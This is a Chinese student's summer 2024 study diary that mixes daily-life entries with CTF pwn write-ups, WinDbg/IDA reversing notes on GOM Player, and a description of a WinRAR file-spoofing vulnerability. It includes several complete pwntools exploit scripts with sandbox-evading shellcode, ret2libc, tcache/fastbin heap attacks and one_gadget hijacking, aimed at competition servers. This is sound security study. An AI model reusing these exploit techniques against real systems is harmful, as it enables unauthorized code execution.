2024暑期学习记录


#7.5

早上和晚上在打春秋杯夏季赛,下午被摇过去改论文,春秋杯打完就不打算打比赛啦,留时间把没完成的事完成一下,然后跟着学长一起复现

初探勒索病毒

题目内容:
你服务器上的一张图片被Black Basta勒索病毒给加密了。当你在服务器上还原出该图片后,等待一分钟左右,/flag就会变为可读权限。
(本题下发后会有一个ssh地址、账号密码,选手可通过ssh来访问环境)
(关注微信公众号“勒索病毒头条”,发送关键词“BASTA”可获取该题提示。)

我选择直接获取提示

【2024春秋杯夏季赛】
https://www.nomoreransom.org/zh/decryption-tools.html
搜索BlackBasta,并点击下载。

(如果您还需要进一步的提示,可在本公众号输入“BASTA2”获取。)

【2024春秋杯夏季赛】
sed -i 's/flags/"flags"/' ./decryptblocks.py
export SRL_IGNORE_MAGIC=1
./decryptblocks.py ./banana.jpg.sah28vut5 ./key.block

这题的判断依据是能不能正常访问banana.jpg这个图片,所以把banana.jpg.sah28vut5改成banana.jpg再用上面给的指令解密,图片在/var/www/html目录下

mv ./banana.jpg.sah28vut5 ./banana.jpg
sed -i 's/flags/"flags"/' ./decryptblocks.py
export SRL_IGNORE_MAGIC=1
./decryptblocks.py ./banana.jpg ./key.block

Shuffled_Execution

题目内容:
The Fishmonger found a secured entrance to somewhere...

一道写shellcode的题,创建了一段可读可写可执行区域,写入0x250的数据后开了沙箱并对输入内容进行随机化操作,但是操作长度的判断是通过strlen获取的,所以直接输入\x00即可绕过

int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t len; // rsi
  __int64 v4; // rax
  char *s; // [rsp+28h] [rbp-18h]

  init();
  s = (char *)mmap((void *)0x1337000, 0x1000uLL, 7, 34, -1, 0LL);
  if ( s == (char *)-1LL )
  {
    perror("mmap failed");
    exit(1);
  }
  syscall(0LL, 0LL, 0x1337000LL, 0x250LL);
  len = strlen(s);
  shuffle((__int64)s, len);
  if ( len <= 0xAF )
  {
    sandbox();
    entrance();
    LODWORD(v4) = 0;
  }
  else
  {
    return (int)"Error triggered...";
  }
  return v4;
}·

查看沙箱内容,发现禁用了execve execveat open read readv pread preadv write sendmsg,最后选择用openat preadv2 writev,需要注意的是preadv2 writev的用法

unsigned __int64 sandbox()
{
  __int64 v1; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = seccomp_init(2147418112LL);
  seccomp_rule_add(v1, 0LL, 59LL, 0LL);
  seccomp_rule_add(v1, 0LL, 322LL, 0LL);
  seccomp_rule_add(v1, 0LL, 2LL, 0LL);
  seccomp_rule_add(v1, 0LL, 0LL, 0LL);
  seccomp_rule_add(v1, 0LL, 19LL, 0LL);
  seccomp_rule_add(v1, 0LL, 17LL, 0LL);
  seccomp_rule_add(v1, 0LL, 295LL, 0LL);
  seccomp_rule_add(v1, 0LL, 1LL, 0LL);
  seccomp_rule_add(v1, 0LL, 40LL, 0LL);
  seccomp_load(v1);
  return v2 - __readfsqword(0x28u);
}

示例如下,即preadv2的二参是一个结构体,且这个结构体包含了数据缓冲区地址以及长度,就相当于原来read的二参和三参

#include <unistd.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/uio.h>

#define SYS_preadv2 327

ssize_t preadv2(int fd, const struct iovec *iov, int iovcnt, off_t offset, int flags) {
    return syscall(SYS_preadv2, fd, iov, iovcnt, offset, flags);
}

int main() {
    // 打开文件
    int fd = open("flag", O_RDONLY);
    if (fd == -1) {
        perror("open");
        exit(EXIT_FAILURE);
    }

    // 准备读取数据的缓冲区
    char buffer[0x50] = {0};

    // 设置读取操作的 iovec 结构体
    struct iovec iov;
    iov.iov_base = buffer;
    iov.iov_len = sizeof(buffer);

    // 使用 preadv2 读取文件数据到缓冲区
    ssize_t bytes_read = preadv2(fd, &iov, 1, 0, 0);
    if (bytes_read == -1) {
        perror("preadv2");
        close(fd);
        exit(EXIT_FAILURE);
    }

    // 输出读取的数据
    write(STDOUT_FILENO, buffer, bytes_read);

    // 关闭文件
    close(fd);
    return 0;
}

最终exp如下

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('8.147.128.163', 36703)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

p = b'\x00PP'
shellcode = asm('''
		/* openat(fd=-0x64, file='flag', oflag=0) */
        add rax, 0x62
        mov r12, rax
        mov rsi, rax
        mov rdi, -0x64
        /* call openat() */
        mov rax, 0x101 /* 0x101 */
        syscall
        /* preadv2(vararg_0=3, vararg_1=0x1337090, vararg_2=1, vararg_3=0, vararg_4=0) */
        mov rdi, 3
        mov rdx, 0x1
        add r12, 0x15
        mov rsi, r12
        /* call preadv2() */
        mov rax, 327
        syscall
        /* writev(fd=1, iovec=0x1337090, count=1) */
        mov rdi, 1
        mov rdx, 0x1
        /* call writev() */
        mov rax, 0x14
        syscall
''')

p += shellcode + b'\x00' * 0x10 + b'flag\x00' + b'\x00' * 0x10 + p64(0x1337090) + p64(0x100)
r.sendlineafter(b'entrance', p)

r.interactive()

#7.6

今天坐大牢,一个知识点没查到肝了半天,下午又被摇过去改申请书嘻嘻,晚上试图逆向分析复现一下比赛,but卡住了工具上,用IDA直接崩,x64dbg调到crash的位置了又换windbg,卡在软件下载和使用上了…都是代理惹的祸~

stdout

先检查保护

Arch:     amd64-64-little
   RELRO:    Partial RELRO
   Stack:    No canary found
   NX:       NX enabled
   PIE:      No PIE (0x3ff000)

main函数里存在栈溢出,溢出长度刚好是一个地址

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[80]; // [rsp+0h] [rbp-50h] BYREF

  init();
  puts("where is my stdout???");
  read(0, buf, 0x60uLL);
  return 0;
}

重点是init函数,输出被设置为全缓冲区,只有当缓冲区被填满时才会进行I/O操作

void __fastcall init()
{
  setvbuf(stdout, 0LL, 0, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
}

也可以通过以下方式进行手动刷新缓冲区从而输出缓冲区中的内容:

  • 显式调用fflush函数
  • 流被关闭(调用fclose
  • 程序正常结束(调用exit

程序其他部分包括vuln extendvuln目的是进行更大长度的栈溢出,而extend是为了向输出缓冲区填入更多内容加快填满输出缓冲区,因为直接通过输出一个地址来填满输出缓冲区会由于连接不稳定而无法打通远程

ssize_t vuln()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  return read(0, buf, 0x200uLL);
}
__int64 extend()
{
  __int64 result; // rax
  char s[8]; // [rsp+0h] [rbp-30h] BYREF
  __int64 v2; // [rsp+8h] [rbp-28h]
  __int64 v3; // [rsp+10h] [rbp-20h]
  __int64 v4; // [rsp+18h] [rbp-18h]
  int v5; // [rsp+28h] [rbp-8h]
  int v6; // [rsp+2Ch] [rbp-4h]

  puts("Just to increase the number of got tables");
  *(_QWORD *)s = '!olleh';
  v2 = 0LL;
  v3 = 0LL;
  v4 = 0LL;
  v6 = strlen(s);
  if ( strcmp(s, "hello!") )
    exit(0);
  puts("hello!");
  srand(1u);
  v5 = 0;
  result = (unsigned int)(rand() % 16);
  v5 = result;
  return result;
}

所以本题的思路就是先利用extend填满输出缓冲区,再ret2libcexp如下

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('39.106.48.123', 31448)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

vuln = 0x40125D
ret = 0x000000000040101a
p = b'a' * 0x58 + p64(vuln)
r.send(p)

pop_rdi_ret = 0x00000000004013d3
pop_rsi_r12_ret = 0x00000000004013d1
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
extend = 0x401287

p1 = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
p = b'a' * 0x28 + p64(ret) + p64(extend) * 54 + p1 + p64(vuln)
for i in range(3):
    r.send(p)

libc = ELF('./2.31/libc-2.31.so')
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x84420
pop_rdx_ret = 0x0000000000142c92 + libc_base
execve = libc.sym['execve'] + libc_base
p = b'a' * 0x28 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(pop_rdx_ret) + p64(0) + p64(pop_rsi_r12_ret) + p64(0) * 2 + p64(execve)
r.send(p)

r.interactive()

#7.7

今天有点摆烂了…欸,周末嘛(bushi),主要是前一天睡的有点晚,直接润去姐姐家睡到了下午()。晚上摸索了一下windbg基本用法

windbg

打开文件:文件选项卡中打开exe文件

设置符号路径 : .sympath srv*

加载符号: .reload

运行:g

设置断点: bp addr

查看堆栈状态:kb

查看反汇编代码:u addr

查看内容内容:双字:dd/dc addr

​ Unicode 字符串 :du addr

​ 十六进制双字:dD addr

​ 内存内容的指针:dp addr

​ 字:dw addr

​ 字节:db addr

​ ASCII字符:da addr

0:000> dc 00400000
00400000  00405000 00406000 00407000 00408000  .P...`...p...`...
00400010  00409000 0040A000 0040B000 0040C000  ..`...`...`...`...

0:000> du 00400000
00400000  "Hello, world!"
00400010  "This is a test string."

0:000> dd 00400000
00400000  00405000 00406000 00407000 00408000
00400010  00409000 0040A000 0040B000 0040C000

0:000> db 00400000
00400000  48 65 6C 6C 6F 2C 20 77-6F 72 6C 64 21 00 00 00  Hello, world!...
00400010  54 68 69 73 20 69 73 20-61 20 74 65 73 74 20 73  This is a test s

查看寄存器:r / r register

修改寄存器:r register = value

单步执行:不进入函数:p

​ 进入函数:t

#7.8

今天还在捣鼓windbg,有点难绷…

windbg

windbg作用和pwndbg类似,还需要结合IDA逆向分析

显示指定的加载模块:lm

bp、bu 和 bm 命令设置新的断点,但它们具有不同的特征:

●bp (设置断点) 命令在命令中指定的断点位置的地址处设置新的断点。 如果在设置断点时调试器无法解析断点位置的地址表达式,则 bp 断点将自动转换为 bu 断点。 使用 bp 命令创建在卸载模块时不再处于活动状态的断点

●bu (设置未解析断点) 命令设置延迟或未解析的断点。 bu 断点是在对命令中指定的断点位置的符号引用上设置的, (不在地址) 上,每当解析具有引用的模块时,就会激活该断点。 有关这些断点的详细信息

●bm (设置符号断点) 命令在与指定模式匹配的符号上设置新的断点。 此命令可以创建多个断点。 默认情况下,匹配模式后, bm 断点与 bu 断点相同。 也就是说, bm 断点是在符号引用上设置的延迟断点。 但是,bm /d 命令会创建一个或多个 bp 断点。 每个断点在匹配位置的地址上设置,不跟踪模块状态

●.bpcmds/bl 查看断点情况

0:000> bm myprogram!mem* 

  4: 0040d070 MyProgram!memcpy

  5: 0040c560 MyProgram!memmove

  6: 00408960 MyProgram!memset

0:000> bp MyTest+0xb 7 	#前六次忽略此断点,第七次传递时,执行会停止

#7.9

早上被摇去写了个uaf,然后一直在装FakePDB,救命,装不动了

pwn题

uaf,限制15个堆,直接tcachebin attack

int delete()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  printf("index: ");
  v1 = readint();
  if ( v1 > 15 || !ptr_list[v1] ){
    return puts("NOOOOOOO!");
    free((void *)ptr_list[v1]);
    return puts("OKK!");
  }
}

exp如下

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 26870)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(index, size):
    r.sendlineafter(b'choice >>', b'1')
    r.sendlineafter('index', str(index))
    r.sendlineafter(b'size', str(size))

def edit(index, content):
    r.sendlineafter(b'choice >>', b'4')
    r.sendlineafter('index', str(index))
    r.sendlineafter(b'content', content)

def show(index):
    r.sendlineafter(b'choice >>', b'3')
    r.sendlineafter('index', str(index))

def delete(index):
    r.sendlineafter(b'choice >>', b'2')
    r.sendlineafter('index', str(index))

add(0, 0x500)
add(1, 0x60)

delete(0)
show(0)

libc = ELF('./libc-2.27.so')
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3ebca0
malloc_hook = libc.sym['__malloc_hook'] + libc_base
one = [0x4f2a5, 0x4f302, 0x10a2fc]
ogg = one[2] + libc_base

add(2, 0x500)
add(3, 0x60)

delete(1)
delete(3)

edit(3, p64(malloc_hook))

add(4, 0x60)
add(5, 0x60)

edit(5, p64(ogg))

add(6, 0x60)

r.interactive()

#7.10

安装FakePDB,发现有release版本,唉前一天白浪费那么多时间去编译啦,但是还是只能生成jsonpdb还是没生成的起来。然后被老师摇去看论文啦,一万多字的专业性文章真是考验专注力和耐心,过程中和学长交流才发现,其实kb查看栈回溯里的内容就行

windbg

之前对windbg的误区是它既然不能识别函数那不就不能追溯到经过了哪些函数,昨天学到下断点是module_name+address,今天学长提到kb再去看了一下才发现这里的栈回溯就是module_name+address形式的代替了函数

例如这里的GOM32Q_vc120_ReleaseQC+0x6371de再去看IDA对应的就是0x400000+0x6371de=0xA371DE,即函数_invoke_watson

0:000> kb
 \# ChildEBP RetAddr      Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 017eefc0 00e971cc     00000000 00000000 00000000 GOM32Q_vc120_ReleaseQC+0x6371de
01 017eefe4 00a66a63     017ef0ec 00000104 05989178 GOM32Q_vc120_ReleaseQC+0x6371cc
02 017ef338 00a4d040     0ada2b98 00000001 00d6723a GOM32Q_vc120_ReleaseQC+0x206a63
03 017ef3fc 00d682e2     00ffb640 0ada2b98 00010004 GOM32Q_vc120_ReleaseQC+0x1ed040
04 017ef41c 00d6392f     0000c322 0ada2b98 00010004 GOM32Q_vc120_ReleaseQC+0x5082e2
05 017ef48c 00d640ea     0ad8e898 000408f4 0000c322 GOM32Q_vc120_ReleaseQC+0x50392f
06 017ef4ac 771116eb     000408f4 0000c322 0ada2b98 GOM32Q_vc120_ReleaseQC+0x5040ea
......

追溯到最后一个函数如下

void __cdecl __noreturn _invoke_watson(
	const wchar_t *Expression,
	const wchar_t *FunctionName,
	const wchar_t *FileName,
	unsigned int LineNo,
	uintptr_t Reserved)
{
	if ( IsProcessorFeaturePresent(0x17u) )
		__fastfail(5u);
	_call_reportfault(2, -1073740777, 1);
	__crtTerminateProcess(0xC0000417);
}

#7.11

今天彻底明白怎么用windbg结合IDA调试啦,不容易。对GOM进行了一些逆向,然后又被摇去看论文了嘶,什么时候我能看得懂这个论文在写什么呢(逃

windbg基础用法

运行前

打开文件:文件 -> Launch executable

查看反编译汇编:View -> Layouts -> Disassembly

设置符号路径:.sympath srv*

加载符号:.reload

运行

运行:g

单步执行不进入函数:p

单步执行进入函数:t

查看/修改状态

查看堆栈状态:kb

查看寄存器:r / r register

修改寄存器:r register = value

查看内存

查看指定地址反编译代码:u addr

以双字的形式查看内存:

dd addr / register

0:000> dd 00400000
00400000  00405000 00406000 00407000 00408000
00400010  00409000 0040A000 0040B000 0040C000

dc addr / register

0:000> dc 00400000
00400000  00405000 00406000 00407000 00408000  .P...`...p...`...
00400010  00409000 0040A000 0040B000 0040C000  ..`...`...`...`...

Unicode字符串的形式查看内存:du addr / register

0:000> du 00400000
00400000  "Hello, world!"
00400010  "This is a test string."

以字节的形式查看内存:db addr / register

0:000> db 00400000
00400000  48 65 6C 6C 6F 2C 20 77-6F 72 6C 64 21 00 00 00  Hello, world!...
00400010  54 68 69 73 20 69 73 20-61 20 74 65 73 74 20 73  This is a test s

以ASCII字符的形式查看内存:da addr / register

以字的形式查看内存:dw addr / register

以十六进制双字的形式查看内存:dD addr / register

以内存内容的指针的形式查看内存:dp addr / register

断点

查看断点详细情况:bl

0:000> bl
     0 e Disable Clear  00000000 e 1 0001 (0001)  0:**** 
     1 e Disable Clear  00300003     0001 (0001)  0:**** GOM32Q_vc120_ReleaseQC+0x3

查看断点:.bpcmds

0:000> .bpcmds
ba0 e1 0x00000000 ;
bp1 0x00300003 ;

下断点:

bp :设置断点,在指定断点位置设置新的断点,如果调试器无法解析断点位置的地址表达式,则自动转换为bu断点,使用bp命令创建在卸载模块时不再处于活动状态的断点

0:000> bp MyTest+0xb 7 	#前六次忽略此断点,第七次传递时,执行会停止

bm:设置符号断点,命令在与指定模式匹配的符号上设置新的断点。 此命令可以创建多个断点。 默认情况下,匹配模式后,bm断点与bu断点相同。

0:000> bm myprogram!mem* 
  4: 0040d070 MyProgram!memcpy
  5: 0040c560 MyProgram!memmove
  6: 00408960 MyProgram!memset

bu:设置未解析断点,命令设置延迟或未解析的断点。bu断点是在对命令中指定的断点位置的符号引用上设置的, (不在地址) 上,每当解析具有引用的模块时,就会激活该断点。

windbg结合IDA逆向分析

通过IDA中的地址下断点

地址偏移 = IDA中的地址 - IDA中的基址

查看模块名称/地址:lm (基址为start一列

0:000> lm
start    end        module name
00300000 010f9000   GOM32Q_vc120_ReleaseQC   (no symbols)           
05990000 05a4c000   swscale_gp_5   (deferred)             
05a50000 05d69000   avutil_gp_56   (deferred)             
05d70000 07366000   avcodec_gp_58   (deferred)  

获取windbg中的地址:模块基址 + 地址偏移

下断点:bu 模块名称 + 地址偏移 / bu windbg中的地址

例如:IDA中的基址为0x400000,要在IDA中地址为0x500000的位置下断点,则地址偏移为0x500000 - 0x400000 = 0x100000,假设lm查看模块名为test,该模块基址为0x200000,则在windbg中的地址就是0x300000,那么下断点就是du test + 0x100000 / du 0x300000

通过栈回溯找到IDA中对应函数

栈回溯查看堆栈情况:kb

0:000> kb
 # ChildEBP RetAddr      Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 014fedc0 009371cc     00000000 00000000 00000000 GOM32Q_vc120_ReleaseQC+0x6371de
01 014fede4 00506a63     014feeec 00000104 0f4aeea8 GOM32Q_vc120_ReleaseQC+0x6371cc
02 014ff138 004ed040     0f4cf948 00000001 0080723a GOM32Q_vc120_ReleaseQC+0x206a63
03 014ff1fc 008082e2     00a9b640 0f4cf948 00010004 GOM32Q_vc120_ReleaseQC+0x1ed040
04 014ff21c 0080392f     0000c391 0f4cf948 00010004 GOM32Q_vc120_ReleaseQC+0x5082e2
05 014ff28c 008040ea     0f4cd4c0 00010a66 0000c391 GOM32Q_vc120_ReleaseQC+0x50392f

得到形如模块名+地址偏移的栈回溯,要找到在IDA中的对应基址只需要用模块名加上的这个地址偏移(即加号后面部分)再加上IDA基址即可

例如:GOM32Q_vc120_ReleaseQC+0x6371de,则地址偏移为0x6371de,IDA基址为0x400000,那么在IDA中的地址就是0x6371de + 0x400000 = 0xA371DE

GOM逆向

kb查看栈回溯找到的第一个函数,是触发crash时的反调试

再往上追溯两个函数

int __cdecl _invalid_parameter(
wchar_t *Expression,
wchar_t *FunctionName,
wchar_t *FileName,
unsigned int LineNo,
uintptr_t Reserved)
{
int (*v5)(void); // eax
v5 = (int (*)(void))DecodePointer(dword_CE8C44);
if ( !v5 )
  _invoke_watson(Expression, FunctionName, FileName, LineNo, Reserved);
  return v5();
  }
void __cdecl _invalid_parameter_noinfo()
{
_invalid_parameter(0, 0, 0, 0, 0);
}

再往上追溯一个函数就是漏洞点sub_606910中的sub_5CE090(this[61], v14);,漏洞点就在wcscpy_s(Destination, 0x104u, Source);

int __thiscall sub_606910(_DWORD **this)
{
...
	if ( v12 == 116 )
	goto LABEL_25;
	sub_44A540(*(void **)(v12 - 116 + 144));
	LOBYTE(v15) = 3;
	wcscpy_s(Destination, 0x104u, Source);
	sub_5CE090(this[61], v14);
  ...
  }

#7.12

早上改说明书摘要,下午和代理沟通,逆向一会和妈妈小姨去逛超市吃海底捞,回去又逆向了一会。唉海底捞真的快吃腻啦

WinRAR逆向

参考文章

https://paper.seebug.org/3036/#/

https://www.cnblogs.com/GoodFish-/p/17715977.html#/

https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458544969&idx=1&sn=473822d99738dc8c20cf0c7df866adea&chksm=b18d5bc386fad2d597b3b73e9bbd6d243e83e0191527db7cf84f277ac8c455b590956d5da778&scene=27#/

实现效果

poc.zip中包含poc.txt和同名的poc.txt文件夹,文件夹中包含一个cmd执行程序名为poc.txt .cmd,用winrar打开poc.zip中的poc.txt文本,poc.txtpoc.txt .cmd都会被释放到临时文件中,而最终打开的是poc.txt .cmd,临时文件目录:C:\Users\Lenovo\AppData\Local\Temp\Rar$DIa30724.35820

分析

010editor打开poc.zip,需要关注zip结构体中的deFileName,在zip压缩包内,每个文件和文件夹都对应了一个ZIPDIRENTRY数据结构,该数据结构包含一个名为deFileName的成员,用于存储目标文件/文件夹的名称

bindiff比较存在漏洞的版本和更新的版本之间的差异,确定漏洞点位置在sub_1400EF508

#7.13

今天主要做了一些杂事,写了队规做了宣传海报清理手机电脑内存准备去招新咯。晚上收拾了下行李箱准备明天去上海投奔表哥(

看看我做的海报吧~非专业,凑合看咯

#7.14

早上赶火车,晕的不行车上没看题。中午和哥哥去吃了早茶,嗯没错在上海吃早茶,上次从广州回来就对早茶念念不忘嘿嘿。下午打了几个小时WKCTF,晚上开周会。唉,好菜,pwn就写出来一题剩下的都是学长写的。什么时候能有学长和男朋友那么强啊(抓狂

baby_stack

wait中存在格式化字符串漏洞,随便测一下发现输入6的时候会输出一个libc上的地址从而得到基址,通过libc基址获取one gadget地址

void __fastcall wait()
{
  unsigned int num; // eax
  char s[5]; // [rsp+Bh] [rbp-85h] BYREF
  char format[120]; // [rsp+10h] [rbp-80h] BYREF

  puts("Press enter to continue");
  getc(stdin);
  printf("Pick a number: ");
  fgets(s, 5, stdin);
  num = strtol(s, 0LL, 10);
  snprintf(format, 0x64uLL, "Your magic number is: %%%d$llx\n", num);
  printf(format);
  introduce();
}

echo_inner中存在栈上的off-by-null,在栈上布置rop并且通过输入长度控制将\x00写到rbp,返回到上层函数之后就会抬栈运行到布置的rop,为了确保执行到ogg需要将最后8位覆盖成ogg,前面全部覆盖成ret

void __fastcall echo_inner(_BYTE *a1, int size)
{
  a1[(int)fread(a1, 1uLL, size, stdin)] = 0;
  puts("You said:");
  printf("%s", a1);
}

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('110.40.35.73', 33688)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

r.sendafter(b'continue', b'\n')
r.sendlineafter(b'number', b'6')

r.recvuntil(b'is: ')
libc_base = int(r.recvuntil(b'\n')[:-1], 16) - 0x3ec7e3
libc = ELF('./2.27/libc-2.27.so')

one = [0x4f2a5, 0x4f302, 0x10a2fc]
ogg = one[1] + libc_base
ret = 0x00000000000008aa + libc_base

r.sendlineafter(b'256)? ', b'256')
p = p64(ret) * 31 + p64(ogg)
r.sendline(p)

r.interactive()

signin

https://github.com/htr-tech/0xTwin/blob/master/twin_cipher.py

解码得到base64编码的图片,图片是一个二维码但是扫不出来,找在线工具https://cli.im/deqr/other得到:**请发送 WKCTF2024 到微信公众号隐雾安全获取flag!**

照做得到flagWKCTF{hello_2024}

how_to_encrypt

问了下gpt得知encrypt的运行结果是ciphertext.txt,其中会用到flagmodel.pth,直接扔给gpt,通过flagmodel.pthflag

import torch
import torch.nn as nn

# 读取 ciphertext.txt 中的内容并转换为张量
def read_ciphertext(file_path):
    with open(file_path, 'r') as f:
        lines = f.readlines()
    data = []
    for line in lines:
        data.append([float(x) for x in line.split()])
    return torch.tensor(data)

# 定义网络结构
class Net(nn.Module):
    def __init__(self, n):
        super(Net, self).__init__()
        self.linear = nn.Linear(n, n * n)
        self.conv = nn.Conv2d(1, 1, (2, 2), stride=1, padding=1)

    def forward(self, x):
        x = self.linear(x)
        x = x.view(1, 1, n, n)
        x = self.conv(x)
        return x

# 加载 ciphertext.txt 和 model.pth
ciphertext = read_ciphertext('ciphertext.txt')
n = int(ciphertext.shape[-1])  # 假设最后一维是 n
ciphertext = ciphertext.view(1, 1, n, n)

# 确保n与保存的模型一致
n = 47  # 根据错误信息设置为47

# 初始化网络
mynet = Net(n)
mynet.load_state_dict(torch.load('model.pth'))

# 定义一个可优化的输入变量
flag_tensor = torch.randn(n, requires_grad=True, dtype=torch.float32)

# 优化器
optimizer = torch.optim.Adam([flag_tensor], lr=0.1)

# 目标输出
target_output = ciphertext

# 迭代优化输入
for epoch in range(10000):
    optimizer.zero_grad()
    output = mynet(flag_tensor)
    loss = nn.MSELoss()(output, target_output)
    loss.backward()
    optimizer.step()
    
    if epoch % 1000 == 0:
        print(f'Epoch {epoch}, Loss: {loss.item()}')

# 获取优化后的输入
optimized_flag = flag_tensor.detach().numpy()

# 将优化后的输入转换回字符
flag = ''.join([chr(int(round(x))) for x in optimized_flag])
print("Recovered flag:", flag)

#7.15

早上起的很早去医院抽血化验,唉可惜结果比上次还差。去医院附近一家有点名气的汤包店吃了蟹黄汤包,确实好吃!!!(不过咸蛋黄味的汤包不好吃,避雷)。从医院回去用了一个小时,嗯公交车坐反了…问题不大,回去之后过了一会吃了午饭睡到下午三四点,然后跟哥哥嫂子去南京路吃了蟹黄面,又去外滩玩到十点。蟹黄面好好吃呜呜,上次还是和男朋友一起吃的嘻嘻。回去以后洗漱完也很晚啦,就,晚安~

#7.16

复现了一下WKCTF的两道pwn,也是终于会一种异构了捏

easy_heap

漏洞点出在edit可以堆溢出

unsigned __int64 edit()
{
  int index; // [rsp+0h] [rbp-10h] BYREF
  _DWORD size[3]; // [rsp+4h] [rbp-Ch] BYREF

  *(_QWORD *)&size[1] = __readfsqword(0x28u);
  index = 0;
  size[0] = 0;
  puts("Index :");
  __isoc99_scanf("%d", &index);
  puts("Size :");
  __isoc99_scanf("%d", size);
  if ( size[0] > 0x1000u )
  {
    puts("too large");
    exit(0);
  }
  puts("Content :");
  read(0, chunk_ptr[index], size[0]);
  return __readfsqword(0x28u) ^ *(_QWORD *)&size[1];
}

没有delete且限制了show的长度为一个地址,首先想到的就是house of orange

伪造top chunk的条件:

  • 保证原本old top chunksize大于MINSIZE
  • 保证原本old top chunkprev_inuse位是1
  • 原本old top chunk的地址加上其size之后的地址要与页对齐 也就是address & 0xfff = 0x000
  • old chunksize要小于申请的堆块大小加上MINSIZE

当申请的堆大小大于伪造的top chunk大小时会将top chunk释放,释放的大小为top chunk size - 0x20,并且根据释放的大小判断进入fastbin或者unsorted bin

所以本题可以先释放一次top chunkunsorted bin泄露libc,再释放一次top chunkfastbin进行fastbin attack

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('110.40.35.73', 33747)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(size, content):
    r.sendlineafter(b'>', b'1')
    r.sendlineafter(b'Size', str(size))
    r.sendafter(b'Content', content)

def edit(index, size, content):
    r.sendlineafter(b'>', b'2')
    r.sendlineafter(b'Index', str(index))
    r.sendlineafter(b'Size', str(size))
    r.sendafter(b'Content', content)

def show(index):
    r.sendlineafter(b'>', b'3')
    r.sendlineafter(b'Index', str(index))

add(0xdf8, b'a')
add(0x18, b'a')

p = b'a' * 0x18 + p64(0x1e1)
edit(1, len(p), p)

add(0xdf8, b'a')
add(0x1b8, b'a')

show(3)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b"\x00")) - 0x3c4b61
libc = ELF('./2.23/libc-2.23.so')

one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
ogg = libc_base + one[3]
malloc_hook = libc_base + libc.sym['__malloc_hook']

add(0x18, b'a')
p = b'a' * 0x18 + p64(0x1e1)
edit(4, len(p), p)

add(0x148, b'a')
add(0xdf8, b'a')

p = b'a' * 0x148 + p64(0x71) + p64(malloc_hook - 0x23)
edit(5, len(p), p)

add(0x68, b'a')
add(0x68, b'a' * 19 + p64(ogg))

r.sendlineafter(b'>', b'1')
r.sendlineafter(b'Size', str(0))

r.interactive()

something_changed

漏洞点是格式化字符串,并且存在后门,限制了输入内容不能包含$,但还是可以直接用fmtstr_payload工具

int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t v4; // x19
  int i; // [xsp+FCCh] [xbp+2Ch]
  char v6[40]; // [xsp+FD0h] [xbp+30h] BYREF
  __int64 v7; // [xsp+FF8h] [xbp+58h]

  v7 = _bss_start;
  read(0, v6, 0x50uLL);
  for ( i = 0; ; ++i )
  {
    v4 = i;
    if ( v4 >= strlen(v6) )
      break;
    if ( (char *)(unsigned __int8)v6[i] == "$" )
      return 0;
  }
  printf(v6);
  return 0;
}

测试出偏移是14,开了canary保护,所以可以将__stack_chk_fail_got改成backdoor

sudo qemu-aarch64 -L ./libc/libc/lib ./pwn        
aaaaaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
